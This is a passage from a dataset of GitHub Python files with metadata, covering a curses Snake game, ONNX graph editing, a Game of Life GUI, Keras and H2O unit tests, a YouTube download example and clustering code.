int(res)\n\n\nsys.exit(main())\n","repo_name":"karpierz/libcurl","sub_path":"examples/imap-store.py","file_name":"imap-store.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"10420932539","text":"#coding=utf-8\n\nimport curses\nimport threading\nimport random\n#import msvcrt\n#from curses import textpad\n#!!!addch(y,x,ch)\n\nstdscr = curses.initscr() #初始化curses,返回屏幕对象\n\ncurses.noecho() #如果在终端上打字,在终端输入一个a就会显示一个a,如果不要这样的效果,就设置noecho\ncurses.cbreak() #为了按下按键就直接响应为不必再按下enter,就输入模式设置成cbreak,而不是缓冲模式\nstdscr.keypad(True) #我们输入过程中有很多特别的键位,比如上下左右,如果我们需要特殊处理这些键位,则可以调用keypad(True),这样当我们按下键盘左键,将会返回一个类似KEY_LEFT的特殊值\n\ngameX = 1 #坐标原点y\ngameY = 1 #坐标原点x\ngameHeight = 20 #游戏高度\ngameWidth = 20 #游戏宽度\ngameSpeed = 0.08 #游戏速度\nblockSize = 2 #游戏单元像素格\nisGameOver = False #判断是否游戏结束,True(结束)\n\ngameScore = 0 #游戏得分\nscorePos = [gameHeight // 2, int(gameWidth * 1.5)] #得分位置\n\nKEY_QUIT = ord('a') #离开键\nmutex_Key = True #按键互斥锁,当有多个按键按下时,只处理当前的按键,其余舍弃\n\n\n\n'''\n蛇类\n'''\nclass Snake(object):\n\n def __init__(self, direction):\n#蛇身\n self.body = [[gameWidth // 2, y] for y in range (\n gameWidth // 2 - 2, gameWidth // 2 + 3)]\n#蛇头方向\n self.direction = direction\n\n'''\n食物类\n'''\nclass Food(object):\n\n def __init__(self):\n self.pos = [gameX,gameY]\n\n def get_Food(self, snake):\n while True:\n flag = 1\n x = random.randint(gameX, gameWidth - 1 * blockSize)\n y = random.randint(gameY, gameWidth - 1 * blockSize)\n for i in snake.body:\n if x == i[0] and y == i[1]:\n flag = 0\n break\n if flag:\n break\n self.pos = [x,y]\n\n\n\n'''\n上、下、左、右函数\n'''\nup = lambda x:[x[0] - 1, x[1]]\ndown = lambda x:[x[0] + 1, x[1]]\nleft = lambda x:[x[0], x[1] - 1]\nright = lambda x:[x[0], x[1] + 1]\n\n'''\n字典move,用于实现switch case\n'''\nmove = {curses.KEY_UP: up,\n curses.KEY_LEFT: left,\n curses.KEY_DOWN: down,\n curses.KEY_RIGHT: right,\n ord('k'): up,\n ord('h'): left,\n ord('j'): down,\n ord('l'): right\n }\n\n'''\n相反方向.传入一个方向,返回其相反的方向\n'''\nopposite = {curses.KEY_UP: curses.KEY_DOWN,\n curses.KEY_DOWN: curses.KEY_UP,\n curses.KEY_LEFT: curses.KEY_RIGHT,\n curses.KEY_RIGHT: curses.KEY_LEFT,\n ord('k'): ord('j'),\n ord('j'): ord('k'),\n ord('h'): ord('l'),\n ord('l'): ord('h')\n }\n\n'''\n游戏边框\n'''\ndef Init_Frame():\n\n for i in range(0, gameHeight + 1):\n stdscr.addch(0, i * blockSize, '#')\n stdscr.addch(i, 0, '#')\n stdscr.addch(i , gameWidth * blockSize, '#')\n stdscr.addch(gameHeight , i * blockSize,'#')\n\n'''\n初始化蛇身\n'''\ndef Init_Snake(self):\n Draw_Snake(self.body[0], '@')\n for i in self.body[1:]:\n Draw_Snake(i, '*')\n\n\n\n'''\n画蛇结点(!一个结点)\n'''\nDraw_Snake = lambda point,ch: stdscr.addch(point[0], point[1] * blockSize, ch)\n\n'''\n显示得分\n'''\nDisp_Score = lambda point,str: stdscr.addstr(point[0], point[1] * blockSize, str, curses.A_REVERSE)\n\n'''\n移动后的新蛇结点\n'''\ndef New_Snake(self):\n for i in range(-len(self.body) + 1, 0)[::-1]:\n self.body[i] = self.body[i - 1]\n\n'''\n判断蛇头是否接触到食物\n'''\ndef IsTouch(snakePos, foodPos):\n if snakePos == foodPos:\n return True\n return False\n\n\n'''\n判断是否到游戏结束的状态\n'''\ndef IsOver(snake, newPos):\n if newPos[0] < gameX or newPos[1] < gameY:\n return True\n elif newPos[0] > gameWidth - gameX or newPos[1] > gameHeight - gameY:\n return True\n for i in snake.body[3:]:\n if i == newPos:\n return True\n return False\n\n'''\n自动移动\n'''\ndef Auto_Move(snake, f):\n#使用闭包保存蛇对象snake,食物对象food\n def _Auto_Move():\n nonlocal snake\n nonlocal f\n global gameScore #引用全局变量\n global isGameOver #引用全局变量\n global mutex_Key #引用全局变量\n if not snake.direction == KEY_QUIT:\n if IsOver(snake, move[snake.direction](snake.body[0])):\n isGameOver = True\n return\n if IsTouch(move[snake.direction](snake.body[0]), f.pos):\n#如果蛇头接触到食物\n snake.body.insert(0,f.pos)\n f.get_Food(snake)\n Draw_Snake(f.pos, '%')\n gameScore += 1\n Disp_Score(scorePos, str(gameScore))\n else:\n Draw_Snake(snake.body[-1], ' ') #消除旧蛇尾\n New_Snake(snake) #得到新的蛇结点(除了头结点)\n snake.body[0] = move[snake.direction](snake.body[0]) #得到新的头结点\n\n Draw_Snake(snake.body[1], '*') #将前头结点用蛇身标志覆盖'*'\n Draw_Snake(snake.body[0], '@') #画出新头结点\n stdscr.refresh()\n mutex_Key = True\n timer = threading.Timer(gameSpeed, _Auto_Move)\n timer.start()\n return _Auto_Move\n\n'''\n退出时恢复控制台原有设置\n'''\ndef EndWin():\n curses.nocbreak()\n stdscr.keypad(False)\n curses.echo()\n curses.endwin()\n\n'''\nmain入口\n'''\ndef main():\n Init_Frame()\n s = Snake(curses.KEY_UP)\n Init_Snake(s)\n f = Food()\n f.get_Food(s)\n Draw_Snake(f.pos,'%')\n stdscr.addstr(gameHeight // 2 - blockSize, int(gameWidth * 1.5) * blockSize - blockSize, \"score\")\n Disp_Score(scorePos, str(gameScore))\n f = Auto_Move(s, f)\n f()\n global mutex_Key #引用全局变量\n while True:\n #if msvcrt.kbhit(): #判断是否有按键按下\n stdscr.nodelay(1) #设置nodelay,为1时,使得控制台可以以非阻塞的方式接受控制台的输入,超时1秒 没什么用\n if isGameOver:\n EndWin()\n return\n ch = stdscr.getch() #返回ASCII码(int)\n if ch == KEY_QUIT:#curses.KEY_F1:\n s.direction = KEY_QUIT\n EndWin()\n return\n if s.direction == ch:\n continue\n\n try:\n opposite[ch]\n except KeyError:\n continue\n else:\n if s.direction == opposite[ch]:\n continue\n\n try:\n move[ch]\n except KeyError:\n continue\n else:\n if mutex_Key:\n s.direction = ch\n mutex_Key = False\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"waterhui/Python-Snake-Game","sub_path":"src/snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":6680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23941378125","text":"import argparse\nimport onnx\nimport onnx_graphsurgeon as gs\nimport numpy as np\n\nfrom collections import OrderedDict\n\nfrom utils.print_color_txt import colorstr\n\ndef surgeon(onnx_path):\n # 读取 .onnx 并进行调整\n graph = gs.import_onnx(onnx.load(onnx_path))\n print(colorstr(\"original model nodes:\"),len(graph.nodes))\n\n nWindowsFill = 0\n\n for node in graph.nodes:\n if node.op == 'Sub' and node.i().op == 'Unsqueeze' :\n if node.o(0).op == 'Equal' and node.o(1).op == 'Equal' and node.o(2).op == 'Where'\\\n and node.o(0).o().op=='Not' and node.o(0).o().o().op=='Cast' \\\n and node.o(0).o().o().o() == node.o(2) \\\n and node.o(2).o().op == 'Where' and node.o(1).o().op=='Cast' \\\n and node.o(2).o() == node.o(1).o().o() \\\n and node.o(2).o().o().op == 'Cast':\n\n inputs = node.outputs[0]\n outputs = node.o(2).o().o().outputs[0]\n\n nWindowsFill +=1\n \n newFillNode = gs.Node(op='WindowsFill',name=f\"WindowsFill_{nWindowsFill}\",inputs=[inputs],outputs=[outputs])\n node.o(2).o().o().outputs.clear()\n graph.nodes.append(newFillNode)\n \n\n \n print(f\"nWindowsFill: {nWindowsFill}\")\n\n\n graph.cleanup().toposort()\n surgeon_onnx_path = onnx_path.replace(\".onnx\", \"_surgeon.onnx\")\n onnx.save(gs.export_onnx(graph), surgeon_onnx_path)\n print(f\"surgeon model nodes: {len(graph.nodes)}\")\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--onnxFile\", type=str, default=\"./onnx_zoo/calculate_mask_surgeon_1.onnx\",\n help=\"onnx file path.\")\n args = parser.parse_args()\n surgeon(args.onnxFile)\n","repo_name":"hhhhhanxu/NVHackathonCompetition","sub_path":"make_surgeon/onnx_surgeon_fill.py","file_name":"onnx_surgeon_fill.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40045036224","text":"import sys\nsys.path.append('')\nimport time\nimport numpy as np\nimport nashpy as nash\nimport cv2\nfrom Data import Data\nfrom Contours import Contours\nfrom Caracteristics import Caracteristics\nfrom NashEnumSupport import NashEnumSupport\nfrom NashEnumSommet import NashEnumSommet\nfrom NashLemkHowson import NashLemkHowson\n\n# for i in range(25,26,1):\n# A = np.int8(10 * np.random.random((10, 10)))\n# B = np.int8(10 * np.random.random((10, 10)))\n# t1 = time.time()\n# # J1 = NashEnumSupport(A,B).EQ()\n# #J1 = NashEnumSommet(A,B).EQ()\n# J1 = NashLemkHowson(A,B).EQs()\n# #J1 = NashLemkHowson(A,B).EQ()\n# t2 = time.time()\n# print (J1)\n# print(t2-t1)\n# img data\nBDD = 'PH2'\ntypes = ['Nevus', 'Melanoma']\nTYPE = types[0]\nDATA = 'D:/HAKIM/MIV M2/PFE/fichiers prof/MIV 96-2019/Application MIV 96-2019/Code/BDD/'\nDATA = DATA+BDD+'/'+TYPE+'/'\nfiles = Data.loadFilesAsArray(DATA)\nfor file in files:\n sImg = DATA+file\n img = cv2.imread(sImg, cv2.IMREAD_COLOR)\n contour = Contours.contours2(img)\n cv2.imshow(TYPE, img)\n car1 = round(Caracteristics.DiameterByCircle(img, contour), 4)\n car2 = round(Caracteristics.compactIndex(contour), 4)\n car3 = round(Caracteristics.regularityIndex(contour), 4)\n car4 = round(Caracteristics.regularityIndexPercentage(contour), 4)\n car5 = round(Caracteristics.colorThreshold(img, contour), 4)\n car6 = round(Caracteristics.nbColors(img, contour), 4)\n car7 = round(Caracteristics.kurtosis(img, contour), 4)\n car8 = round(Caracteristics.AssymetryByDistanceByCircle(img, contour), 4)\n car9 = round(Caracteristics.roundness(img, contour), 4)\n X = [car1, car2, car3, car4, car5, car6, car7, car8, car9]\n # game\n A = np.array([[0, -1, 1], [1, 0, -1], [-1, 1, 0]])\n B = -A\n g = nash.Game(A,B)\n if cv2.waitKey() == ord('c'):\n break\ncv2.destroyAllWindows()\n","repo_name":"hakimhassani97/MelanomaDetection","sub_path":"GameTheory/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37660932265","text":"# ========================================================================\n# Imports\n# ========================================================================\n\n# The GUI toolkit\nimport tkinter as tk\n\n# Conway's Game of Life (our code)\nfrom game_of_life import Array2D, GameOfLife\n\n# ========================================================================\n# Prompt the user for board characteristics.\n# ========================================================================\n#\n# Before creating the GUI below, as the user for a board size and whether the\n# board/world should be a torus.\n\n# Function to prompt until we get an answer we like.\ndef my_prompt(msg, fcn_parse):\n \"\"\"Prompt a user for input. Proceed with the prompt until the provided function\n returns true for the given input. Function should return a tuple\n `(is_parsable, value)` indicating whether the input was parsable and the\n value of the parsed input (which is ignored if `is_parsable` is `False`).\"\"\"\n is_parsable = False\n\n while not is_parsable:\n str_input = input(msg)\n is_parsable, value = fcn_parse(str_input)\n\n return value\n\n# Function to determine whether a string represents a positive integer.\ndef parse_positive_int(string):\n \"\"\"Try to parse a string as a positive. Return tuple `(True, num)` if `string`\n represents a positive integer `num`. Return `(False, None)` otherwise.\"\"\"\n try:\n num = int(string)\n is_positive_int = (num > 0)\n except Error():\n num = None\n is_positive_int = False\n\n return is_positive_int, num\n\n# Function to determine whether a string represents a yes/no response.\ndef parse_yes_no(string, default = 'n'):\n \"\"\"Parse 'yes'/'y' and 'no'/'n' as bools (True and False, respectively).\"\"\"\n if string == '':\n string = default\n\n if string == 'yes' or string == 'y':\n return (True, True)\n elif string == 'n' or string == 'n':\n return (True, False)\n else:\n return (False, None)\n\n# Get a board size from the user.\ndefault_size = 30\nstr_prompt = \"Specify a number of {0} for the board (default \" \\\n + str(default_size) + \"): \"\nfcn_parse = lambda string: (True, default_size) if string == '' else parse_positive_int(string)\n\nnum_rows = my_prompt(str_prompt.format('rows'), fcn_parse)\nnum_cols = my_prompt(str_prompt.format('columns'), fcn_parse)\n\n# Should we play on a torus?\nfcn_parse_torus = lambda string: (True, False) if string == '' else parse_yes_no(string)\non_torus = my_prompt(\"Make the board a torus (a la Pac-Man)? y/[n]: \", parse_yes_no)\n\n# Initialize a random game.\ngame = GameOfLife(num_rows, num_cols, on_torus = on_torus)\ngame.randomize_board()\n\n# ========================================================================\n# A simple GUI demo\n# ========================================================================\n#\n# Draw the board we created above, and update it every 250 milliseconds as long\n# as there is life on the board. No additional interaction is supported.\n\n# Create a canvas for drawing to.\nmaster = tk.Tk()\nmaster.title(\"Conway's Game of Life\")\nw = tk.Canvas(master, width = 10 * num_cols, height = 10 * num_rows)\nw.pack()\n\n# Create the rectangles with which we'll draw the game.\nrects = Array2D(game.rows, game.cols, eltype = int)\n\nfor i in range(game.rows):\n for j in range(game.cols):\n x = 10 * j\n y = 10 * i\n rects[i, j] = w.create_rectangle(x, y, x + 10, y + 10)\n\n# A function to draw the board.\ndef draw_board(canv, rects, game, clr_alive = 'black', clr_dead = 'white'):\n for i in range(game.rows):\n for j in range(game.cols):\n color = clr_alive if game[i, j] else clr_dead\n canv.itemconfig(rects[i, j], fill = color)\n\n# Draw the board every 200 milliseconds.\ndef update_board():\n global after_id\n game.update()\n draw_board(w, rects, game)\n\n if game.has_life():\n after_id = master.after(200, update_board)\n\nafter_id = master.after(200, update_board)\n\n# Destroy things when the window is closed.\ndef quit_game():\n global after_id\n master.after_cancel(after_id)\n after_id = None\n master.destroy()\n\nmaster.protocol(\"WM_DELETE_WINDOW\", quit_game)\n\n# Run the main GUI loop.\ntk.mainloop()\n","repo_name":"zjroth/game-of-life","sub_path":"python/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":4241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33878372689","text":"import pytest\nimport numpy as np\n\nfrom keras import backend as K\nfrom keras.layers import core\nfrom keras.utils.test_utils import layer_test\n\n\ndef test_masking():\n layer_test(core.Masking,\n kwargs={},\n input_shape=(3, 2, 3))\n\n\ndef test_merge():\n from keras.layers import Input, merge, Merge\n from keras.models import Model\n\n # test modes: 'sum', 'mul', 'concat', 'ave', 'cos', 'dot'.\n input_shapes = [(3, 2), (3, 2)]\n inputs = [np.random.random(shape) for shape in input_shapes]\n\n # test functional API\n for mode in ['sum', 'mul', 'concat', 'ave', 'max']:\n print(mode)\n input_a = Input(shape=input_shapes[0][1:])\n input_b = Input(shape=input_shapes[1][1:])\n merged = merge([input_a, input_b], mode=mode)\n model = Model([input_a, input_b], merged)\n model.compile('rmsprop', 'mse')\n\n expected_output_shape = model.get_output_shape_for(input_shapes)\n actual_output_shape = model.predict(inputs).shape\n assert expected_output_shape == actual_output_shape\n\n config = model.get_config()\n model = Model.from_config(config)\n model.compile('rmsprop', 'mse')\n\n # test Merge (#2460)\n merged = Merge(mode=mode)([input_a, input_b])\n model = Model([input_a, input_b], merged)\n model.compile('rmsprop', 'mse')\n\n expected_output_shape = model.get_output_shape_for(input_shapes)\n actual_output_shape = model.predict(inputs).shape\n assert expected_output_shape == actual_output_shape\n\n # test lambda with output_shape lambda\n input_a = Input(shape=input_shapes[0][1:])\n input_b = Input(shape=input_shapes[1][1:])\n merged = merge([input_a, input_b],\n mode=lambda tup: K.concatenate([tup[0], tup[1]]),\n output_shape=lambda tup: (tup[0][:-1],) + (tup[0][-1] + tup[1][-1],))\n expected_output_shape = model.get_output_shape_for(input_shapes)\n actual_output_shape = model.predict(inputs).shape\n assert expected_output_shape == actual_output_shape\n\n config = model.get_config()\n model = Model.from_config(config)\n model.compile('rmsprop', 'mse')\n\n # test function with output_shape function\n def fn_mode(tup):\n x, y = tup\n return K.concatenate([x, y])\n\n def fn_output_shape(tup):\n s1, s2 = tup\n return (s1[:-1],) + (s1[-1] + s2[-1],)\n\n input_a = Input(shape=input_shapes[0][1:])\n input_b = Input(shape=input_shapes[1][1:])\n merged = merge([input_a, input_b],\n mode=fn_mode,\n output_shape=fn_output_shape)\n expected_output_shape = model.get_output_shape_for(input_shapes)\n actual_output_shape = model.predict(inputs).shape\n assert expected_output_shape == actual_output_shape\n\n config = model.get_config()\n model = Model.from_config(config)\n model.compile('rmsprop', 'mse')\n\n\ndef test_merge_mask_2d():\n from keras.layers import Input, merge, Masking\n from keras.models import Model\n\n rand = lambda *shape: np.asarray(np.random.random(shape) > 0.5, dtype='int32')\n\n # inputs\n input_a = Input(shape=(3,))\n input_b = Input(shape=(3,))\n\n # masks\n masked_a = Masking(mask_value=0)(input_a)\n masked_b = Masking(mask_value=0)(input_b)\n\n # two different types of merging\n merged_sum = merge([masked_a, masked_b], mode='sum')\n merged_concat = merge([masked_a, masked_b], mode='concat', concat_axis=1)\n\n # test sum\n model_sum = Model([input_a, input_b], [merged_sum])\n model_sum.compile(loss='mse', optimizer='sgd')\n model_sum.fit([rand(2,3), rand(2,3)], [rand(2,3)], nb_epoch=1)\n\n # test concatenation\n model_concat = Model([input_a, input_b], [merged_concat])\n model_concat.compile(loss='mse', optimizer='sgd')\n model_concat.fit([rand(2,3), rand(2,3)], [rand(2,6)], nb_epoch=1)\n\n\ndef test_merge_mask_3d():\n from keras.layers import Input, merge, Embedding, SimpleRNN\n from keras.models import Model\n\n rand = lambda *shape: np.asarray(np.random.random(shape) > 0.5, dtype='int32')\n\n # embeddings\n input_a = Input(shape=(3,), dtype='int32')\n input_b = Input(shape=(3,), dtype='int32')\n embedding = Embedding(3, 4, mask_zero=True)\n embedding_a = embedding(input_a)\n embedding_b = embedding(input_b)\n\n # rnn\n rnn = SimpleRNN(3, return_sequences=True)\n rnn_a = rnn(embedding_a)\n rnn_b = rnn(embedding_b)\n\n # concatenation\n merged_concat = merge([rnn_a, rnn_b], mode='concat', concat_axis=-1)\n model = Model([input_a, input_b], [merged_concat])\n model.compile(loss='mse', optimizer='sgd')\n model.fit([rand(2,3), rand(2,3)], [rand(2,3,6)])\n\n\ndef test_dropout():\n layer_test(core.Dropout,\n kwargs={'p': 0.5},\n input_shape=(3, 2))\n\n\ndef test_activation():\n # with string argument\n layer_test(core.Activation,\n kwargs={'activation': 'relu'},\n input_shape=(3, 2))\n\n # with function argument\n layer_test(core.Activation,\n kwargs={'activation': K.relu},\n input_shape=(3, 2))\n\n\ndef test_reshape():\n layer_test(core.Reshape,\n kwargs={'target_shape': (8, 1)},\n input_shape=(3, 2, 4))\n\n\ndef test_permute():\n layer_test(core.Permute,\n kwargs={'dims': (2, 1)},\n input_shape=(3, 2, 4))\n\n\ndef test_flatten():\n layer_test(core.Flatten,\n kwargs={},\n input_shape=(3, 2, 4))\n\n\ndef test_repeat_vector():\n layer_test(core.RepeatVector,\n kwargs={'n': 3},\n input_shape=(3, 2))\n\n\ndef test_lambda():\n from keras.utils.layer_utils import layer_from_config\n Lambda = core.Lambda\n\n layer_test(Lambda,\n kwargs={'function': lambda x: x + 1},\n input_shape=(3, 2))\n\n # test serialization with function\n def f(x):\n return x + 1\n\n ld = Lambda(f)\n config = ld.get_config()\n ld = layer_from_config({'class_name': 'Lambda', 'config': config})\n\n ld = Lambda(lambda x: K.concatenate([K.square(x), x]),\n output_shape=lambda s: tuple(list(s)[:-1] + [2 * s[-1]]))\n config = ld.get_config()\n ld = Lambda.from_config(config)\n\n # test serialization with output_shape function\n def f(x):\n return K.concatenate([K.square(x), x])\n\n def f_shape(s):\n return tuple(list(s)[:-1] + [2 * s[-1]])\n\n ld = Lambda(f, output_shape=f_shape)\n config = ld.get_config()\n ld = layer_from_config({'class_name': 'Lambda', 'config': config})\n\n\ndef test_dense():\n from keras import regularizers\n from keras import constraints\n\n layer_test(core.Dense,\n kwargs={'output_dim': 3},\n input_shape=(3, 2))\n\n layer_test(core.Dense,\n kwargs={'output_dim': 3,\n 'W_regularizer': regularizers.l2(0.01),\n 'b_regularizer': regularizers.l1(0.01),\n 'activity_regularizer': regularizers.activity_l2(0.01),\n 'W_constraint': constraints.MaxNorm(1),\n 'b_constraint': constraints.MaxNorm(1)},\n input_shape=(3, 2))\n\n\ndef test_activity_regularization():\n from keras.engine import Input, Model\n\n layer = core.ActivityRegularization(l1=0.01, l2=0.01)\n\n # test in functional API\n x = Input(shape=(3,))\n z = core.Dense(2)(x)\n y = layer(z)\n model = Model(input=x, output=y)\n model.compile('rmsprop', 'mse', mode='FAST_COMPILE')\n\n model.predict(np.random.random((2, 3)))\n\n # test serialization\n model_config = model.get_config()\n model = Model.from_config(model_config)\n model.compile('rmsprop', 'mse')\n\n\ndef test_maxout_dense():\n from keras import regularizers\n from keras import constraints\n\n layer_test(core.MaxoutDense,\n kwargs={'output_dim': 3},\n input_shape=(3, 2))\n\n layer_test(core.MaxoutDense,\n kwargs={'output_dim': 3,\n 'W_regularizer': regularizers.l2(0.01),\n 'b_regularizer': regularizers.l1(0.01),\n 'activity_regularizer': regularizers.activity_l2(0.01),\n 'W_constraint': constraints.MaxNorm(1),\n 'b_constraint': constraints.MaxNorm(1)},\n input_shape=(3, 2))\n\n\ndef test_highway():\n from keras import regularizers\n from keras import constraints\n\n layer_test(core.Highway,\n kwargs={},\n input_shape=(3, 2))\n\n layer_test(core.Highway,\n kwargs={'W_regularizer': regularizers.l2(0.01),\n 'b_regularizer': regularizers.l1(0.01),\n 'activity_regularizer': regularizers.activity_l2(0.01),\n 'W_constraint': constraints.MaxNorm(1),\n 'b_constraint': constraints.MaxNorm(1)},\n input_shape=(3, 2))\n\n\ndef test_timedistributeddense():\n from keras import regularizers\n from keras import constraints\n\n layer_test(core.TimeDistributedDense,\n kwargs={'output_dim': 2, 'input_length': 2},\n input_shape=(3, 2, 3))\n\n layer_test(core.TimeDistributedDense,\n kwargs={'output_dim': 3,\n 'W_regularizer': regularizers.l2(0.01),\n 'b_regularizer': regularizers.l1(0.01),\n 'activity_regularizer': regularizers.activity_l2(0.01),\n 'W_constraint': constraints.MaxNorm(1),\n 'b_constraint': constraints.MaxNorm(1)},\n input_shape=(3, 2, 3))\n\n\nif __name__ == '__main__':\n pytest.main([__file__])\n","repo_name":"tykimos/tykimos.github.io","sub_path":"tests/keras/layers/test_core.py","file_name":"test_core.py","file_ext":"py","file_size_in_byte":9667,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"61"} +{"seq_id":"13349083554","text":"import sys\nsys.path.insert(1,\"../../../\")\nimport h2o\nfrom tests import pyunit_utils\nfrom h2o.estimators.glm import H2OGeneralizedLinearEstimator\n\ndef test_gamma_null_model():\n training_data = h2o.import_file(\"http://h2o-public-test-data.s3.amazonaws.com/smalldata/glm_test/gamma_dispersion_factor_9_10kRows.csv\")\n training_data2 = h2o.import_file(\"http://h2o-public-test-data.s3.amazonaws.com/smalldata/glm_test/gamma_dispersion_factor_9_10kRows.csv\")\n Y = 'resp'\n x = ['abs.C1.', 'abs.C2.', 'abs.C3.', 'abs.C4.', 'abs.C5.']\n model = H2OGeneralizedLinearEstimator(family='gamma', lambda_=0, compute_p_values=True, \n dispersion_parameter_method=\"ml\")\n model.train(training_frame=training_data, x=x, y=Y)\n coeffs = model.coef()\n model_null_ml = H2OGeneralizedLinearEstimator(family='gamma', lambda_=0, compute_p_values=True, \n dispersion_parameter_method=\"ml\", build_null_model=True)\n model_null_ml.train(training_frame=training_data, x=x, y=Y)\n coeffs_null_ml = model_null_ml.coef()\n model_null_p = H2OGeneralizedLinearEstimator(family='gamma', lambda_=0, compute_p_values=True,\n dispersion_parameter_method=\"pearson\", build_null_model=True)\n model_null_p.train(training_frame=training_data, x=x, y=Y)\n coeffs_null_p = model_null_p.coef()\n\n assert len(coeffs) > len(coeffs_null_ml), \"Full model coefficient length: {0} shall exceed null model coefficient\" \\\n \" length: {1}\".format(len(coeffs), len(coeffs_null_ml))\n assert len(coeffs_null_ml) == 1, \"Null model from ml coefficient length: {0} shall be 1.\".format(len(coeffs_null_ml))\n assert len(coeffs_null_p) == 1, \"Null model from pearson coefficient length: {0} shall be \" \\\n \"1.\".format(len(coeffs_null_p))\n assert 'Intercept' in coeffs_null_ml.keys(), \"Null model from ml should contain Intercept as its only coefficient\" \\\n \" but did not.\"\n assert 'Intercept' in coeffs_null_p.keys(), \"Null model from pearson should contain Intercept as its only\" \\\n \" coefficient but did not.\"\n\n # make sure it can predict with null model\n pred_ml = model_null_ml.predict(training_data)\n pred_p = model_null_p.predict(training_data2)\n pyunit_utils.compare_frames_local(pred_p[0], pred_ml[0], prob=1)\n \nif __name__ == \"__main__\":\n pyunit_utils.standalone_test(test_gamma_null_model)\nelse:\n test_gamma_null_model()\n","repo_name":"h2oai/h2o-3","sub_path":"h2o-py/tests/testdir_algos/glm/pyunit_pubdev_8775_gamma_null_model.py","file_name":"pyunit_pubdev_8775_gamma_null_model.py","file_ext":"py","file_size_in_byte":2641,"program_lang":"python","lang":"en","doc_type":"code","stars":6553,"dataset":"github-code","pt":"61"} +{"seq_id":"4598174676","text":"\"\"\"\nTo download YouTube videos by providing a link to your code in Python\n\"\"\"\n\n# Install the package : pip install youtube_dl\n# install the package emoji for ..............\n\n\n# The following code to download the video to our environment\nimport youtube_dl\nimport emoji\n\nydl_opt = {}\n\nwith youtube_dl.YoutubeDL(ydl_opt) as ydl:\n # The Download will start and the video in mp4 format would be available!\n ydl.download([\"https://www.youtube.com/watch?v=NLrfVMWT4AI\"])\nprint(\n emoji.emojize(\"Download from YouTube via Python is cool :thumbs_up\")\n) # with the package , we can have the emoji output in terminal\n\n\n# Terminal:\n# [youtube] NLrfVMWT4AI: Downloading webpage\n# [download] Destination: the BEST way to get Kali Linux!!-NLrfVMWT4AI.mp4\n# [download] 3.9% of 21.99MiB at 74.27KiB/s ETA 04:51\n","repo_name":"MaxJokar/Download-YouTube-Videos--By-Python","sub_path":"YouTube.py","file_name":"YouTube.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1051148680","text":"from cliques.config import UNIPROJ_HOME\nimport sys\n#import fast_part\nimport networkx as nx\n\ndef find_all_connected_partitions(graph):\n graph_string = ''\n graph_string = graph_string + \"%d\\n\" % len(graph)\n for node, degree in graph.degree().items():\n graph_string = graph_string + \"%d %d\\n\" % (node,degree)\n \n for edge in graph.edges():\n graph_string = graph_string + \"%d %d\\n\" % (edge[0],edge[1])\n \n return graph_string\n\n#G = nx.read_edgelist('%s/data/renaud_16.pairs' % UNIPROJ_HOME,nodetype=int)\n\n\nG = nx.classic.barbell_graph(5,4)\nG = nx.complete_graph(100)\nG = nx.dense_gnm_random_graph(8,9)\nG = nx.moebius_kantor_graph()\n\n\nG = nx.Graph()\nfor i in range(13):\n G.add_node(i)\n\nG.add_edge(0,1)\nG.add_edge(1,2)\nG.add_edge(2,0)\nG.add_edge(2,12)\nG.add_edge(3,4)\nG.add_edge(4,5)\nG.add_edge(5,3)\nG.add_edge(3,12)\nG.add_edge(6,7)\nG.add_edge(7,8)\nG.add_edge(6,8)\nG.add_edge(7,12)\nG.add_edge(9,10)\nG.add_edge(10,11)\nG.add_edge(12,10)\nG.add_edge(9,11)\nG.add_edge(8,9)\n#G.add_edge(7,13)\n#G.add_edge(13,10)\n#G.add_edge(2,14)\n#G.add_edge(14,3)\n\n#G = G = nx.dorogovtsev_goltsev_mendes_graph(4)\n#G = nx.readwrite\n#a = fast_part.part_wrapper()\n\nG = nx.read_edgelist('/home/zenna/repos/graph-codes/cliques/data/graphs/barbell_n8.edj', data=(('weight',float),))\nsys.stdout.write(find_all_connected_partitions(G))\n#a.find_partitions\n \n# proc = subprocess.Popen('%s/build/partition_num' % UNIPROJ_HOME, shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE)\n# proc.stdin.write(graph_string)\n# proc.wait()\n# output = (proc.communicate()[0])\n# return output\n","repo_name":"zenna/cliques","sub_path":"pycliques/partition/all_connected.py","file_name":"all_connected.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"2945602764","text":"import math\nimport logging\nfrom tabnanny import verbose\n\nimport numpy as np\nimport pandas as pd\nfrom hdbscan import HDBSCAN\nfrom sklearn.metrics import pairwise_distances\n\nfrom rlabs.config import RLabsConfig\nfrom rlabs.utils import timing\nfrom rlabs.utils.constants import (\n POPULATION,\n CLUSTER,\n COUNTRY,\n LATITUDE,\n LONGITUDE,\n R\n)\n\nlogger = logging.getLogger(__name__)\n\n\nclass Model:\n def __init__(self, config: RLabsConfig = RLabsConfig):\n self.config = config\n\n @timing\n def compute_pairwise_distances(self, X, Y):\n logger.info(f\"Computing pairwise distances ...\")\n D = pairwise_distances(X, Y, metric=\"haversine\")\n D *= R # Multiply by Earth radius to get miles\n logger.info(f\"Pairwise distances shape D.shape\")\n return D\n\n @timing\n def cluster(\n self,\n D: np.ndarray\n ):\n \"\"\"\n Run Hierarchical clustering\n Args:\n D (np.ndarray): Pre-computed pairwise distance matrix\n Returns:\n clusters (HDBSCAN): HDBSCAN fit object\n \"\"\"\n clusters = 